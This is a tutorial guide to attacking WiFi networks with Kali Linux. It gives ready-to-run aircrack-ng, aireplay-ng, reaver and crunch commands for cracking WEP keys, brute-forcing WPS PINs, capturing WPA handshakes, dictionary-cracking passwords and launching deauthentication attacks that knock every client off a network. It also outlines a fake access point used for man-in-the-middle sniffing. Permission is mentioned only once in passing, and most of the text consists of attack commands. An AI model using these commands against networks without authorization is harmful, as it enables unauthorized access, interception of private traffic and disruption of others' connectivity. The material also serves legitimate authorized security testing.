

Complete Guide to WiFi Penetration Testing with Kali Linux

☐ Table of Contents

1. [Introduction to Wireless Network Security](#)
 2. [Prerequisites](#)
 3. [Tools Overview](#)
 4. [Step 1: Enable Monitor Mode](#)
 5. [Step 2: Scan for Target Networks](#)
 6. [Step 3: WEP Cracking](#)
 7. [Step 4: WPA/WPA2 Cracking](#)
 8. [Step 5: Deauthentication Attack](#)
 9. [Step 6: Creating a Wordlist](#)
 10. [Step 7: Cracking the Key](#)
 11. [Fake Access Point \(Honeypot\)](#)
 12. [Common Errors & Troubleshooting](#)
 13. [Quick Reference Summary](#)
 14. [Conclusion](#)
-

1. Introduction

Wireless networks have become ubiquitous—used in homes, workplaces, and public spaces. While they offer convenience, they also present significant security risks. Network administrators often struggle to secure wireless networks in a robust and reliable way, leading to vulnerabilities that can be exploited.

Kali Linux is an operating system specifically designed for vulnerability assessment and penetration testing. It contains a large collection of tools for ethical hacking, making it the preferred platform for wireless network security testing.

Understanding Wireless Encryption Types

Encryption Type	Security Level	Description
WEP	☐ Least Secure	Uses RC4 algorithm with a 24-bit Initialization Vector (IV). The same encryption key is used for every data packet,

Encryption Type	Security Level	Description
		making it easily crackable.
WPA	☐ Moderate	Uses TKIP encryption scheme. More secure than WEP but still has vulnerabilities.
WPA2	☐ Most Secure	Uses AES encryption. The strongest option when configured properly with WPS disabled.

2. Prerequisites

Before proceeding, ensure you have the following:

Hardware Requirements

- ☐ **A Linux distribution** (Kali Linux recommended) installed
- ☐ **A compatible wireless network adapter** that supports monitor mode and packet injection

Recommended Wireless Adapters

Adapter Model	Features
Alfa AWUS036NH	Excellent range, monitor mode support
Alfa AWUS036H	Reliable, well-supported
Wi-Fi y-city 56G	Good budget option

Software Requirements

- **Aircrack-ng suite** (airmon-ng, airodump-ng, aireplay-ng, aircrack-ng)
- **Reaver** (for WPS attacks)
- **Wash** (for scanning WPS-enabled networks)
- **Crunch** (for creating custom wordlists)

System Requirements

- ☐ Administrative (root or sudo) privileges
- ☐ Basic familiarity with the Linux terminal
- ☐ Stable power source for long testing sessions
- ☐ **Permission** to test the target network

Installation Command

```
sudo apt-get install aircrack-ng reaver crunch
```

3. Tools Overview

Aircrack-ng Suite Components

Tool	Purpose
airmon-ng	Enables monitor mode on wireless interfaces
airodump-ng	Captures packets and displays nearby networks
aireplay-ng	Generates traffic, performs deauthentication attacks
aircrack-ng	Cracks WEP/WPA/WPA2 keys using captured data
airbase-ng	Creates fake access points (honeypots)

Additional Tools

Tool	Purpose
macchanger	Changes the MAC address of network interfaces
wash	Scans for WPS-enabled access points
reaver	Brute-forces WPS PINs to recover WPA keys
crunch	Generates custom wordlists

MAC Address Spoofing

Each network card has a physical static address called a **MAC address** (Media Access Control). You can change it using **macchanger**:

```
ifconfig [INTERFACE] down
macchanger -m [MAC] [INTERFACE]
ifconfig [INTERFACE] up
```

4. Step 1: Enable Monitor Mode

Note: Monitor mode allows your wireless card to capture all packets in range, not just those sent to your device.

Method 1: Using **airmon-ng** (Recommended)

```
# Check the current mode (default is Managed mode)
iwconfig

# Enable monitor mode
airmon-ng start wlan0

# Check activation status
iwconfig mon0 # or wlan0mon

# Stop monitor mode (return to Managed mode)
airmon-ng stop wlan0
```

Method 2: Manual Configuration

```
# Check status
iwconfig wlan0

# Deactivate wlan card
ifconfig wlan0 down

# Activate monitor mode
iwconfig wlan0 mode monitor

# Reactivate card
ifconfig wlan0 up

# Start monitoring
airodump-ng wlan0
```

Method 3: With Process Killing (if conflicts occur)

```
# Show wireless interfaces
airmon-ng

# Deactivate interface
ifconfig wlan0 down

# Kill interfering processes
airmon-ng check kill

# Start monitor mode
airmon-ng start wlan0

# Check the new interface
ifconfig wlan0mon
iwconfig wlan0mon
```

5. Step 2: Scan for Target Networks

Basic Scan

```
airodump-ng wlan0mon
```

This command displays all networks in range with the following information:

- **BSSID** - MAC address of the access point
- **PWR** - Signal strength
- **Beacons** - Number of beacon frames
- **#Data** - Number of captured data packets
- **CH** - Channel number
- **ENC** - Encryption type (WEP, WPA, WPA2)
- **ESSID** - Network name

Targeted Capture

Once you've identified your target, capture traffic specifically from it:

```
airodump-ng --channel [CHANNEL] --bssid [BSSID] --write [FILENAME] [INTERFACE]
```

Example:

```
airodump-ng -c 6 -bssid 11:22:33:44:55:66 -write out mon0
```

6. Step 3: WEP Cracking

Note: WEP is outdated but still found on some networks. It uses a 24-bit Initialization Vector (IV), which can be repeated. Collect enough IVs, and the key can be cracked.

Basic WEP Cracking

```
# Capture traffic from target
airodump-ng --channel [CHANNEL] --bssid [BSSID] --write [FILENAME] [INTERFACE]

# Run aircrack-ng on the capture file
aircrack-ng [FILENAME]-01.cap
```

Example:

```
airodump-ng --channel 6 --bssid 11:22:33:44:55:66 --write out mon0
aircrack-ng out-01.cap
```

Packet Injection for Idle Networks

If the AP is idle, inject packets to generate new IVs:

Fake Authentication

First, authenticate with the AP:

```
aireplay-ng --fakeauth 0 -a [TARGET_MAC] -h [YOUR_MAC] [INTERFACE]
```

Example:

```
aireplay-ng --fakeauth 0 -a E0:69:95:B8:BF:77 -h 00:c0:ca:6c:ca:12 mon0
```

ARP Request Replay Attack

After successful authentication, capture and replay ARP packets:

```
aireplay-ng --arpresplay -b [TARGET_MAC] -h [YOUR_MAC] [INTERFACE]
```

Example:

```
aireplay-ng --arpresplay -b E0:69:95:B8:BF:77 -h 00:c0:ca:6c:ca:12 mon0
```

7. Step 4: WPA/WPA2 Cracking

Understanding the Handshake

In WPA/WPA2, each packet is encrypted with a unique temporary key. The only packets that contain useful information for cracking are the **four-way handshake** packets, which occur when a client connects to the AP.

Method 1: WPS Feature Exploitation

Note: This flaw is in the WPS feature, not in WPA/WPA2 itself. However, it allows cracking without a wordlist or connected clients.

Scan for WPS-Enabled APs

```
wash -i [INTERFACE]
```

Example:

```
wash -i mon0
```

Brute Force the WPS PIN

```
reaver -i [INTERFACE] -b [TARGET_AP_MAC] -c [CHANNEL] -vv
```

Example:

```
reaver -b E0:69:95:8E:18:22 -c 11 -i mon0
```

Method 2: Handshake Capture & Dictionary Attack

Step 1: Capture the Handshake

```
# Start capturing on target AP  
airodump-ng --channel [CHANNEL] --bssid [BSSID] --write [FILENAME] [INTERFACE]
```

Example:

```
airodump-ng --channel 6 --bssid 11:22:33:44:55:66 --write out mon0
```

Step 2: Force a Reconnection (if no clients are connecting)

Deauthenticate a connected client to force a reconnection and handshake:

```
aireplay-ng --deauth [PACKET_COUNT] -a [AP_MAC] -c [CLIENT_MAC] [INTERFACE]
```

Example:

```
aireplay-ng --deauth 1000 -a 11:22:33:44:55:66 -c 00:AA:11:22:33:44 mon0
```

Note: Watch the top right corner of airodump-ng—it will display **"WPA handshake"** when captured.

8. Step 5: Deauthentication Attack

A deauthentication attack disconnects any device from any network within range, even if protected with a key.

Attack All Clients

```
aireplay-ng --deauth [PACKET_COUNT] -a [AP_MAC] [INTERFACE]
```

Example:

```
aireplay-ng --deauth 1000 -a 11:22:33:44:55:66 mon0
```

Attack Specific Client

```
aireplay-ng --deauth [PACKET_COUNT] -a [AP_MAC] -c [CLIENT_MAC] [INTERFACE]
```

Example:

```
aireplay-ng --deauth 1000 -a 11:22:33:44:55:66 -c 00:AA:11:22:33:44 mon0
```

9. Step 6: Creating a Wordlist

Option 1: Use Default Wordlist

Kali Linux includes the popular `rockyou.txt` wordlist:

```
# Extract the wordlist (if compressed)
gunzip /usr/share/wordlists/rockyou.txt.gz

# Location
/usr/share/wordlists/rockyou.txt
```

Option 2: Create Custom Wordlist with Crunch

```
crunch [MIN_LENGTH] [MAX_LENGTH] [CHARACTERS] -t [PATTERN] -o [FILENAME]
```

Example:

```
crunch 6 8 123456! -t a@@@b -o wordlist
```

Pattern Characters:

- @ - lowercase letters
- % - uppercase letters
- # - numbers
- ! - symbols

Option 3: Download Wordlists

Ready-made wordlists can be downloaded from the internet:

- [SecLists](#)
 - [WeakPass](#)
 - [RockYou](#)
-

10. Step 7: Cracking the Key

For WEP

```
aircrack-ng [CAPTURE_FILE].cap
```

For WPA/WPA2

```
aircrack-ng -a2 -b [BSSID] -w [WORDLIST_PATH] [CAPTURE_FILE].cap
```

Example:

```
aircrack-ng -a2 -b 11:22:33:44:55:66 -w /usr/share/wordlists/rockyou.txt out-01.cap
```

Command Explanation:

- -a2 - Specifies WPA/WPA2 (vs WEP)
 - -b - BSSID of the target AP
 - -w - Path to the wordlist
 - [CAPTURE_FILE] .cap - The captured handshake file
- **Success:** When the key is found, you'll see "**KEY FOUND!**" displayed in the terminal.

11. Fake Access Point (Honeypot)

Creating a fake AP can attract clients and capture traffic.

How It Works

The attacker creates an open AP that clients automatically connect to. Traffic is not encrypted, allowing the attacker to sniff all data.

Requirements

- Two wireless cards:
 - One connected to the internet
 - One broadcasting as an access point

MITM Attack Setup

```
Client (Victim) ↔ Attacker's Wi-Fi Card ↔ Second Card ↔ Internet
```

All traffic is forwarded through the attacker's machine, allowing full packet inspection.

12. Common Errors & Troubleshooting

Wireless Adapter Not Detected

Issue	Solution
Adapter not recognized	Ensure adapter is properly connected
Driver issues	Verify OS recognizes the device
Wrong interface name	Check with <code>ip -a</code> or <code>ifconfig</code>

Software Issues

Issue	Solution
Aircrack-ng not installed	Run <code>sudo apt-get install aircrack-ng</code>
Permission denied	Run commands with <code>sudo</code> or as root
Interface not found	Verify correct interface name (wlan0, mon0, etc.)

Adapter Compatibility Issues

Not all wireless adapters support monitor mode and packet injection. Check hardware specifications before beginning.

Common Command Errors

Issue	Solution
Typographical errors	Linux commands are case-sensitive; check spelling
Extra spaces	Ensure proper syntax
Missing characters	Verify all parameters are included

General Troubleshooting

1. **Read error messages carefully** - They often contain the solution
2. **Restart the terminal** or reconnect the adapter
3. **Kill interfering processes:** `airmon-ng check kill`
4. **Check interface status:** `iwconfig [INTERFACE]`
5. **Verify monitor mode is active:** The interface should show "Mode:Monitor"

Specific Scenarios

Scenario	Solution
WPA/WPA2 with WPS disabled	Must capture handshake and use wordlist
No clients connected	Use deauthentication attack to force reconnection
Weak signal	Move closer to the target AP
WEP not yielding keys	Collect more IVs; use packet injection
Wordlist too small	Generate larger wordlist or use more comprehensive one

13. Quick Reference Summary

Complete Attack Sequence

```
# 1. Start monitor mode
airmon-ng start wlan0

# 2. Scan for networks
airodump-ng wlan0mon

# 3. Capture target traffic
airodump-ng -c [CHANNEL] -w [FILENAME] --bssid [BSSID] wlan0mon

# 4. Force handshake (if needed)
aireplay-ng -0 0 -a [BSSID] wlan0mon

# 5. Crack the key
aircrack-ng -w [WORDLIST_PATH] [FILENAME]-01.cap
```

One-Line Commands

Step	Command
Scan	airodump-ng wlan0mon
Target Capture	airodump-ng -c 9 -w Wi-Fi --bssid C4:6E:1F:F6:34:B8 wlan0mon
Deauth	aireplay-ng -0 0 -a C4:6E:1F:F6:34:B8 wlan0mon
Crack	aircrack-ng -w /usr/share/wordlists/rockyou.txt Wi-Fi-01.cap

Important Notes

- **Virtual Machines:** The process will NOT work in VMs without an external wireless adapter passed through
- **Interface Names:** May vary (wlan0, wlan0mon, mon0, etc.)
- **Successful Handshake:** Top right of airodump-ng shows "WPA handshake"

14. Conclusion

Kali Linux provides a comprehensive platform for ethical wireless network testing. The effectiveness of wireless hacking depends primarily on:

1. **Efficiency of the cracking tool** (determining the key and password)
2. **Quality of the wordlist** (for WPA/WPA2 attacks)
3. **Number of captured IVs** (for WEP attacks)
4. **Time invested** in the cracking process

Key Takeaways

- ☐ WEP is easily crackable and should never be used
- ☐ WPA2 with AES and WPS disabled is the most secure option
- ☐ WPS introduces a significant vulnerability
- ☐ Handshake capture is essential for WPA/WPA2 cracking
- ☐ Strong passwords are critical for security